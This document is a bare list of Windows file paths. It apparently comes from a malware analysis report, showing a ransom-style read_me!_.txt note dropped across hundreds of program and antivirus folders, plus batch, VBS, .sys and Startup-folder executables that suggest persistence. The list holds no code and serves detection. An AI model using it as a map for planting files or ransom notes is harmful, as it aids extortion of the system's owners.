%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\americana\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\babyblue\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\graycheck\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\bibliography\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\management\read_me!_.txt
%ProgramFiles%\iris\read_me!_.txt
%ProgramFiles%\iron\read_me!_.txt
%ProgramFiles%\isafe\read_me!_.txt
%ProgramFiles%\ispnews\read_me!_.txt
%ProgramFiles%\ispwdsvc\read_me!_.txt
%ProgramFiles%\issvc\read_me!_.txt
%ProgramFiles%\isuac\read_me!_.txt
%ProgramFiles%\itunes\read_me!_.txt
%ProgramFiles%\java\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\read_me!_.txt
%ProgramFiles%\internet explorer\en-us\read_me!_.txt
%ProgramFiles%\internet explorer\signup\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\bin\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\bin\server\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\amd64\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\applet\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\cmm\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\deploy\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\ext\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\fonts\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\images\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\images\cursors\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\bin\dtplugin\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\bin\plugin2\read_me!_.txt
%ProgramFiles%\internet explorer\read_me!_.txt
%ProgramFiles%\instlsp\read_me!_.txt
%ProgramFiles%\installlsp\read_me!_.txt
%ProgramFiles%\hsockpe\read_me!_.txt
%ProgramFiles%\httplook\read_me!_.txt
%ProgramFiles%\iamapp\read_me!_.txt
%ProgramFiles%\iamserv\read_me!_.txt
%ProgramFiles%\icq\read_me!_.txt
%ProgramFiles%\icqlite\read_me!_.txt
%ProgramFiles%\ieregfix\read_me!_.txt
%ProgramFiles%\ieuser\read_me!_.txt
%ProgramFiles%\iexplore\read_me!_.txt
%ProgramFiles%\ih8\read_me!_.txt
%ProgramFiles%\ih8run\read_me!_.txt
%ProgramFiles%\hrres\read_me!_.txt
%ProgramFiles%\ilaunchr\read_me!_.txt
%ProgramFiles%\imnotfy\read_me!_.txt
%ProgramFiles%\impcnt\read_me!_.txt
%ProgramFiles%\incmail\read_me!_.txt
%ProgramFiles%\inocit\read_me!_.txt
%ProgramFiles%\inorpc\read_me!_.txt
%ProgramFiles%\inort\read_me!_.txt
%ProgramFiles%\inotask\read_me!_.txt
%ProgramFiles%\inouptng\read_me!_.txt
%ProgramFiles%\inphasenxd\read_me!_.txt
%ProgramFiles%\installcavs\read_me!_.txt
%ProgramFiles%\installlicense\read_me!_.txt
%ProgramFiles%\imapp\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\jfr\read_me!_.txt
%ProgramFiles%\helper\read_me!_.txt
%ProgramFiles%\microsoft office\media\office14\lines\read_me!_.txt
%ProgramFiles%\k-meleon\read_me!_.txt
%ProgramFiles%\mfpmp\read_me!_.txt
%ProgramFiles%\microsoft analysis services\read_me!_.txt
%ProgramFiles%\microsoft analysis services\as oledb\read_me!_.txt
%ProgramFiles%\microsoft analysis services\as oledb\10\read_me!_.txt
%ProgramFiles%\microsoft analysis services\as oledb\10\cartridges\read_me!_.txt
%ProgramFiles%\microsoft analysis services\as oledb\10\resources\read_me!_.txt
%ProgramFiles%\microsoft analysis services\as oledb\10\resources\1033\read_me!_.txt
%ProgramFiles%\microsoft office\read_me!_.txt
%ProgramFiles%\microsoft office\clipart\read_me!_.txt
%ProgramFiles%\microsoft office\clipart\pub60cor\read_me!_.txt
%ProgramFiles%\mcvsshld\read_me!_.txt
%ProgramFiles%\memstring\read_me!_.txt
%ProgramFiles%\microsoft office\clipart\publisher\read_me!_.txt
%ProgramFiles%\microsoft office\document themes 14\theme colors\read_me!_.txt
%ProgramFiles%\microsoft office\document themes 14\theme effects\read_me!_.txt
%ProgramFiles%\microsoft office\document themes 14\theme fonts\read_me!_.txt
%ProgramFiles%\microsoft office\media\read_me!_.txt
%ProgramFiles%\microsoft office\media\cagcat10\read_me!_.txt
%ProgramFiles%\microsoft office\media\cagcat10\1033\read_me!_.txt
%ProgramFiles%\microsoft office\media\office14\read_me!_.txt
%ProgramFiles%\microsoft office\media\office14\1033\read_me!_.txt
%ProgramFiles%\microsoft office\media\office14\autoshap\read_me!_.txt
%ProgramFiles%\microsoft office\media\office14\bullets\read_me!_.txt
%ProgramFiles%\microsoft office\clipart\publisher\backgrounds\read_me!_.txt
%ProgramFiles%\microsoft office\document themes 14\read_me!_.txt
%ProgramFiles%\mcupdmgr\read_me!_.txt
%ProgramFiles%\mcshield\read_me!_.txt
%ProgramFiles%\mcregwiz\read_me!_.txt
%ProgramFiles%\kavmm\read_me!_.txt
%ProgramFiles%\kavpf\read_me!_.txt
%ProgramFiles%\kavpfw\read_me!_.txt
%ProgramFiles%\kavstart\read_me!_.txt
%ProgramFiles%\kavsvc\read_me!_.txt
%ProgramFiles%\konnekt\read_me!_.txt
%ProgramFiles%\launcher\read_me!_.txt
%ProgramFiles%\licmgr\read_me!_.txt
%ProgramFiles%\livesrv\read_me!_.txt
%ProgramFiles%\liveupdate\read_me!_.txt
%ProgramFiles%\logwatnt\read_me!_.txt
%ProgramFiles%\kav\read_me!_.txt
%ProgramFiles%\lotroclient\read_me!_.txt
%ProgramFiles%\lucallbackproxy\read_me!_.txt
%ProgramFiles%\lucheck\read_me!_.txt
%ProgramFiles%\luconfig\read_me!_.txt
%ProgramFiles%\luinit\read_me!_.txt
%ProgramFiles%\luna\read_me!_.txt
%ProgramFiles%\luupdate\read_me!_.txt
%ProgramFiles%\magent\read_me!_.txt
%ProgramFiles%\malwareremoval\read_me!_.txt
%ProgramFiles%\maplestory\read_me!_.txt
%ProgramFiles%\maxthon\read_me!_.txt
%ProgramFiles%\mcmnhdlr\read_me!_.txt
%ProgramFiles%\lpfw\read_me!_.txt
%ProgramFiles%\microsoft office\office14\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\commondata\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\read_me!_.txt
%ProgramFiles%\dislite\read_me!_.txt
%ProgramFiles%\avgwizfw\read_me!_.txt
%ProgramFiles%\avinitnt\read_me!_.txt
%ProgramFiles%\avkserv\read_me!_.txt
%ProgramFiles%\avkservice\read_me!_.txt
%ProgramFiles%\avkwctl\read_me!_.txt
%ProgramFiles%\avnotify\read_me!_.txt
%ProgramFiles%\avpcc\read_me!_.txt
%ProgramFiles%\avpm\read_me!_.txt
%ProgramFiles%\avscan\read_me!_.txt
%ProgramFiles%\avsynmgr\read_me!_.txt
%ProgramFiles%\avgvv\read_me!_.txt
%ProgramFiles%\avgw\read_me!_.txt
%ProgramFiles%\b2\read_me!_.txt
%ProgramFiles%\bdmcon\read_me!_.txt
%ProgramFiles%\bdnews\read_me!_.txt
%ProgramFiles%\bdoesrv\read_me!_.txt
%ProgramFiles%\bdss\read_me!_.txt
%ProgramFiles%\bdsubmit\read_me!_.txt
%ProgramFiles%\bdsubmitwiz\read_me!_.txt
%ProgramFiles%\bdsurvey\read_me!_.txt
%ProgramFiles%\bdswitch\read_me!_.txt
%ProgramFiles%\bdwizreg\read_me!_.txt
%ProgramFiles%\blackd\read_me!_.txt
%ProgramFiles%\backweb-4476822\read_me!_.txt
%ProgramFiles%\bdagent\read_me!_.txt
%ProgramFiles%\avgupsvc\read_me!_.txt
%ProgramFiles%\avgupden\read_me!_.txt
%ProgramFiles%\avgscan\read_me!_.txt
%ProgramFiles%\ashskpck\read_me!_.txt
%ProgramFiles%\ashupd\read_me!_.txt
%ProgramFiles%\ashwebsv\read_me!_.txt
%ProgramFiles%\ash_updatemediator\read_me!_.txt
%ProgramFiles%\aswregsvr\read_me!_.txt
%ProgramFiles%\aswupdsv\read_me!_.txt
%ProgramFiles%\autodown\read_me!_.txt
%ProgramFiles%\autostartexplorer\read_me!_.txt
%ProgramFiles%\autotrace\read_me!_.txt
%ProgramFiles%\avadmin\read_me!_.txt
%ProgramFiles%\avcenter\read_me!_.txt
%ProgramFiles%\ashskpcc\read_me!_.txt
%ProgramFiles%\avciman\read_me!_.txt
%ProgramFiles%\avconfig\read_me!_.txt
%ProgramFiles%\avconsol\read_me!_.txt
%ProgramFiles%\avgamsvr\read_me!_.txt
%ProgramFiles%\avgcc\read_me!_.txt
%ProgramFiles%\avgdiag\read_me!_.txt
%ProgramFiles%\avgemc\read_me!_.txt
%ProgramFiles%\avgfwsrv\read_me!_.txt
%ProgramFiles%\avginet\read_me!_.txt
%ProgramFiles%\avgnpdln\read_me!_.txt
%ProgramFiles%\avgnpsvc\read_me!_.txt
%ProgramFiles%\avgrssvc\read_me!_.txt
%ProgramFiles%\avcmd\read_me!_.txt
%ProgramFiles%\blackice\read_me!_.txt
%ProgramFiles%\btini\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\en-us\read_me!_.txt
%ProgramFiles%\btinint\read_me!_.txt
%ProgramFiles%\cleaner\read_me!_.txt
%ProgramFiles%\cleaner3\read_me!_.txt
%ProgramFiles%\clisvc\read_me!_.txt
%ProgramFiles%\clrcche\read_me!_.txt
%ProgramFiles%\cmain\read_me!_.txt
%ProgramFiles%\cmgrdian\read_me!_.txt
%CommonProgramFiles%\read_me!_.txt
%CommonProgramFiles%\designer\read_me!_.txt
%CommonProgramFiles%\microsoft shared\read_me!_.txt
%CommonProgramFiles%\microsoft shared\dw\read_me!_.txt
%ProgramFiles%\clamwin\read_me!_.txt
%ProgramFiles%\claw95cf\read_me!_.txt
%CommonProgramFiles%\microsoft shared\equation\read_me!_.txt
%CommonProgramFiles%\microsoft shared\filters\read_me!_.txt
%CommonProgramFiles%\microsoft shared\grphflt\read_me!_.txt
%CommonProgramFiles%\microsoft shared\help\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\ar-sa\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\bg-bg\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\cs-cz\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\da-dk\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\de-de\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\el-gr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\equation\1033\read_me!_.txt
%CommonProgramFiles%\microsoft shared\euro\read_me!_.txt
%ProgramFiles%\claw95\read_me!_.txt
%ProgramFiles%\clamtray\read_me!_.txt
%ProgramFiles%\clamscan\read_me!_.txt
%ProgramFiles%\cafix\read_me!_.txt
%ProgramFiles%\cavapp\read_me!_.txt
%ProgramFiles%\cavasm\read_me!_.txt
%ProgramFiles%\cavaud\read_me!_.txt
%ProgramFiles%\cavemsrv\read_me!_.txt
%ProgramFiles%\cavmr\read_me!_.txt
%ProgramFiles%\cavmud\read_me!_.txt
%ProgramFiles%\cavoar\read_me!_.txt
%ProgramFiles%\cavq\read_me!_.txt
%ProgramFiles%\cavscons\read_me!_.txt
%ProgramFiles%\cavse\read_me!_.txt
%ProgramFiles%\cabalmain\read_me!_.txt
%ProgramFiles%\cavsn\read_me!_.txt
%ProgramFiles%\cavsubmit\read_me!_.txt
%ProgramFiles%\cavumas\read_me!_.txt
%ProgramFiles%\cavuserupd\read_me!_.txt
%ProgramFiles%\cavvl\read_me!_.txt
%ProgramFiles%\ccapp\read_me!_.txt
%ProgramFiles%\ccevtmgr\read_me!_.txt
%ProgramFiles%\ccleaner\read_me!_.txt
%ProgramFiles%\ccproxy\read_me!_.txt
%ProgramFiles%\ccsetmgr\read_me!_.txt
%ProgramFiles%\cemrep\read_me!_.txt
%ProgramFiles%\chrome\read_me!_.txt
%ProgramFiles%\cavsub\read_me!_.txt
%ProgramFiles%\ashsimpl\read_me!_.txt
%ProgramFiles%\blindman\read_me!_.txt
%ProgramFiles%\ashsimp2\read_me!_.txt
C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\far2\plugins\arclite\read_me!_.txt
C:\far2\plugins\autowrap\read_me!_.txt
C:\far2\plugins\brackets\read_me!_.txt
C:\far2\plugins\compare\read_me!_.txt
C:\far2\plugins\drawline\read_me!_.txt
C:\far2\plugins\editcase\read_me!_.txt
C:\far2\plugins\emenu\read_me!_.txt
C:\far2\plugins\farcmds\read_me!_.txt
C:\far2\plugins\filecase\read_me!_.txt
C:\far2\plugins\ftp\read_me!_.txt
C:\far2\plugins\read_me!_.txt
C:\far2\plugins\align\read_me!_.txt
C:\far2\plugins\ftp\lib\read_me!_.txt
C:\far2\plugins\network\read_me!_.txt
C:\far2\plugins\tmppanel\read_me!_.txt
C:\far2\plugins\proclist\read_me!_.txt
C:\far2\pluginsdk\read_me!_.txt
C:\far2\pluginsdk\headers.c\read_me!_.txt
C:\far2\pluginsdk\headers.pas\read_me!_.txt
C:\msocache\read_me!_.txt
C:\msocache\all users\read_me!_.txt
C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-0016-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\far2\plugins\hlfviewer\read_me!_.txt
C:\far2\plugins\macroview\read_me!_.txt
C:\far2\fexcept\read_me!_.txt
C:\far2\encyclopedia\tap\read_me!_.txt
C:\far2\encyclopedia\read_me!_.txt
%HOMEPATH%\appdata\t2_svc.bat
%WINDIR%\pagesfilo.sys
%HOMEPATH%\appdata\renc.sys
nul
C:\documents and settings\user\start menu\programs\startup\desktopini.exe
C:\read_me!_.txt
C:\$recycle.bin\read_me!_.txt
D:\read_me!_.txt
C:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\read_me!_.txt
C:\documents and settings\read_me!_.txt
<Current directory>\read_me!_.txt
%HOMEPATH%\appdata\v9_svc.vbs
C:\far2\read_me!_.txt
C:\far2\addons\colors\read_me!_.txt
C:\far2\addons\colors\custom_highlighting\read_me!_.txt
C:\far2\addons\colors\default_highlighting\read_me!_.txt
C:\far2\addons\macros\read_me!_.txt
C:\far2\addons\setup\read_me!_.txt
C:\far2\addons\shell\read_me!_.txt
C:\far2\addons\xlat\read_me!_.txt
C:\far2\addons\xlat\russian\read_me!_.txt
C:\far2\documentation\read_me!_.txt
C:\far2\documentation\eng\read_me!_.txt
C:\far2\documentation\rus\read_me!_.txt
C:\far2\addons\read_me!_.txt
C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\read_me!_.txt
%ProgramFiles%\ashquick\read_me!_.txt
C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\read_me!_.txt
%ProgramFiles%\ahnsd\read_me!_.txt
%ProgramFiles%\aim6\read_me!_.txt
%ProgramFiles%\aimpro\read_me!_.txt
%ProgramFiles%\airdefense\read_me!_.txt
%ProgramFiles%\almon\read_me!_.txt
%ProgramFiles%\alsvc\read_me!_.txt
%ProgramFiles%\amon\read_me!_.txt
%ProgramFiles%\amsn\read_me!_.txt
%ProgramFiles%\anti-trojan\read_me!_.txt
%ProgramFiles%\antivirus\read_me!_.txt
%ProgramFiles%\agb5\read_me!_.txt
%ProgramFiles%\ageofconan\read_me!_.txt
%ProgramFiles%\aoltbserver\read_me!_.txt
%ProgramFiles%\ash\read_me!_.txt
%ProgramFiles%\ashavast\read_me!_.txt
%ProgramFiles%\ashavsrv\read_me!_.txt
%ProgramFiles%\ashchest\read_me!_.txt
%ProgramFiles%\ashdisp\read_me!_.txt
%ProgramFiles%\ashenhcd\read_me!_.txt
%ProgramFiles%\ashdug\read_me!_.txt
%ProgramFiles%\ashlogv\read_me!_.txt
%ProgramFiles%\ashmaisv\read_me!_.txt
%ProgramFiles%\ashpopwz\read_me!_.txt
%ProgramFiles%\armor2net\read_me!_.txt
%ProgramFiles%\armorsurf\read_me!_.txt
%ProgramFiles%\admunch\read_me!_.txt
%ProgramFiles%\ackwin32\read_me!_.txt
%ProgramFiles%\about\read_me!_.txt
C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\read_me!_.txt
C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.es\read_me!_.txt
C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.fr\read_me!_.txt
C:\msocache\all users\{90140000-0043-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\read_me!_.txt
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\read_me!_.txt
C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\read_me!_.txt
C:\perflogs\read_me!_.txt
%ProgramFiles%\read_me!_.txt
%ProgramFiles%\360tray\read_me!_.txt
%ProgramFiles%\a2cmd\read_me!_.txt
%ProgramFiles%\a2guard\read_me!_.txt
%ProgramFiles%\a2hijackfree\read_me!_.txt
%ProgramFiles%\a2scan\read_me!_.txt
%ProgramFiles%\a2service\read_me!_.txt
%ProgramFiles%\a2start\read_me!_.txt
%ProgramFiles%\a2upd\read_me!_.txt
%ProgramFiles%\a2wizard\read_me!_.txt
%ProgramFiles%\aavshield\read_me!_.txt
C:\perflogs\admin\read_me!_.txt
%ProgramFiles%\ashserv\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\proof.fr\read_me!_.txt
%ProgramFiles%\firefox\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fr-fr\read_me!_.txt
%CommonProgramFiles%\system\ado\en-us\read_me!_.txt
%CommonProgramFiles%\system\en-us\read_me!_.txt
%CommonProgramFiles%\system\msadc\read_me!_.txt
%CommonProgramFiles%\system\msadc\en-us\read_me!_.txt
%CommonProgramFiles%\system\msmapi\read_me!_.txt
%CommonProgramFiles%\system\msmapi\1033\read_me!_.txt
%CommonProgramFiles%\system\ole db\read_me!_.txt
%CommonProgramFiles%\system\ole db\en-us\read_me!_.txt
%ProgramFiles%\copyx64\read_me!_.txt
%ProgramFiles%\cpd\read_me!_.txt
%CommonProgramFiles%\system\read_me!_.txt
%CommonProgramFiles%\system\ado\read_me!_.txt
%ProgramFiles%\csendto\read_me!_.txt
%ProgramFiles%\courier\read_me!_.txt
%ProgramFiles%\custsetup\read_me!_.txt
%ProgramFiles%\cuteftp\read_me!_.txt
%ProgramFiles%\dbconvert\read_me!_.txt
%ProgramFiles%\dbtool\read_me!_.txt
%ProgramFiles%\defensewall\read_me!_.txt
%ProgramFiles%\defwatch\read_me!_.txt
%ProgramFiles%\dekaron\read_me!_.txt
%ProgramFiles%\digsby\read_me!_.txt
%ProgramFiles%\digsby-app\read_me!_.txt
%ProgramFiles%\cssexc\read_me!_.txt
%ProgramFiles%\custinstall\read_me!_.txt
%CommonProgramFiles%\microsoft shared\web folders\read_me!_.txt
%CommonProgramFiles%\speechengines\microsoft\read_me!_.txt
%CommonProgramFiles%\speechengines\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\watermar\read_me!_.txt
%CommonProgramFiles%\microsoft shared\translat\read_me!_.txt
%CommonProgramFiles%\microsoft shared\translat\arfr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\translat\enes\read_me!_.txt
%CommonProgramFiles%\microsoft shared\translat\enfr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\translat\esen\read_me!_.txt
%CommonProgramFiles%\microsoft shared\translat\frar\read_me!_.txt
%CommonProgramFiles%\microsoft shared\translat\fren\read_me!_.txt
%CommonProgramFiles%\microsoft shared\triedit\read_me!_.txt
%CommonProgramFiles%\microsoft shared\triedit\en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vba\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\water\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vba\vba7\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vc\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vgx\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vsto\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vsto\10.0\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vsto\10.0\1033\read_me!_.txt
%CommonProgramFiles%\microsoft shared\web folders\1033\read_me!_.txt
%CommonProgramFiles%\microsoft shared\web server extensions\read_me!_.txt
%CommonProgramFiles%\microsoft shared\web server extensions\14\read_me!_.txt
%CommonProgramFiles%\microsoft shared\web server extensions\14\bin\read_me!_.txt
%CommonProgramFiles%\microsoft shared\web server extensions\14\bin\1033\read_me!_.txt
%CommonProgramFiles%\services\read_me!_.txt
%CommonProgramFiles%\microsoft shared\vba\vba7\1033\read_me!_.txt
%ProgramFiles%\directftp\read_me!_.txt
%ProgramFiles%\dnf\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\et-ee\read_me!_.txt
%ProgramFiles%\dpatrolq\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\sports\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\stacking\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\travel\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\videowall\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\vignette\read_me!_.txt
%ProgramFiles%\ecmd\read_me!_.txt
%ProgramFiles%\egni\read_me!_.txt
%ProgramFiles%\ehsniffer\read_me!_.txt
%ProgramFiles%\ekrn\read_me!_.txt
%ProgramFiles%\elementclient\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\shatter\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\specialoccasion\read_me!_.txt
%ProgramFiles%\etherd\read_me!_.txt
%ProgramFiles%\exit_av\read_me!_.txt
%ProgramFiles%\ezantivirusregistrationcheck\read_me!_.txt
%ProgramFiles%\f-sched\read_me!_.txt
%ProgramFiles%\fameh32\read_me!_.txt
%ProgramFiles%\far\read_me!_.txt
%ProgramFiles%\fch32\read_me!_.txt
%ProgramFiles%\fdm\read_me!_.txt
%ProgramFiles%\fdmwi\read_me!_.txt
%ProgramFiles%\firebird\read_me!_.txt
%ProgramFiles%\filezilla\read_me!_.txt
%ProgramFiles%\eudora\read_me!_.txt
%ProgramFiles%\ewidoctrl\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\resizingpanels\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\rectangles\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\push\read_me!_.txt
%ProgramFiles%\drvirus\read_me!_.txt
%ProgramFiles%\drvmap\read_me!_.txt
%ProgramFiles%\drwadins\read_me!_.txt
%ProgramFiles%\drweb\read_me!_.txt
%ProgramFiles%\drweb32w\read_me!_.txt
%ProgramFiles%\drweb386\read_me!_.txt
%ProgramFiles%\drwebscd\read_me!_.txt
%ProgramFiles%\drwebupw\read_me!_.txt
%ProgramFiles%\drwebwcl\read_me!_.txt
%ProgramFiles%\drwreg\read_me!_.txt
%ProgramFiles%\dvd maker\read_me!_.txt
%ProgramFiles%\drvctl\read_me!_.txt
%ProgramFiles%\dvd maker\en-us\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\babyboy\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\babygirl\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\flippage\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\full\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\huecycle\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\layeredtitles\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\memories\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\oldage\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\performance\read_me!_.txt
%ProgramFiles%\dvd maker\shared\dvdstyles\pets\read_me!_.txt
%ProgramFiles%\dvd maker\shared\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\sumipntg\read_me!_.txt
%ProgramFiles%\firefox\chrome\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\studio\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\proof.es\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\sv-se\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\th-th\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\tr-tr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\uk-ua\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\zh-cn\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\zh-tw\read_me!_.txt
%CommonProgramFiles%\microsoft shared\msclientdatamgr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\msinfo\read_me!_.txt
%CommonProgramFiles%\microsoft shared\msinfo\en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\sl-si\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\sr-latn-cs\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\1033\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\access.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\excel.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\groove.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\infopath.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\office.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\office32.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\office32.ww\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\onenote.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\outlook.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\powerpoint.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\cultures\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\sk-sk\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\ru-ru\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\ro-ro\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fi-fi\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\auxpad\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\keypad\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\main\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\numbers\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\oskmenu\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\osknumpad\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\oskpred\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\symbols\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\web\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\he-il\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\fsdefinitions\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\hr-hr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\hwrcustomization\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\it-it\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\ja-jp\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\ko-kr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\lt-lt\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\lv-lv\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\nb-no\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\nl-nl\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\pl-pl\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\pt-br\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\pt-pt\read_me!_.txt
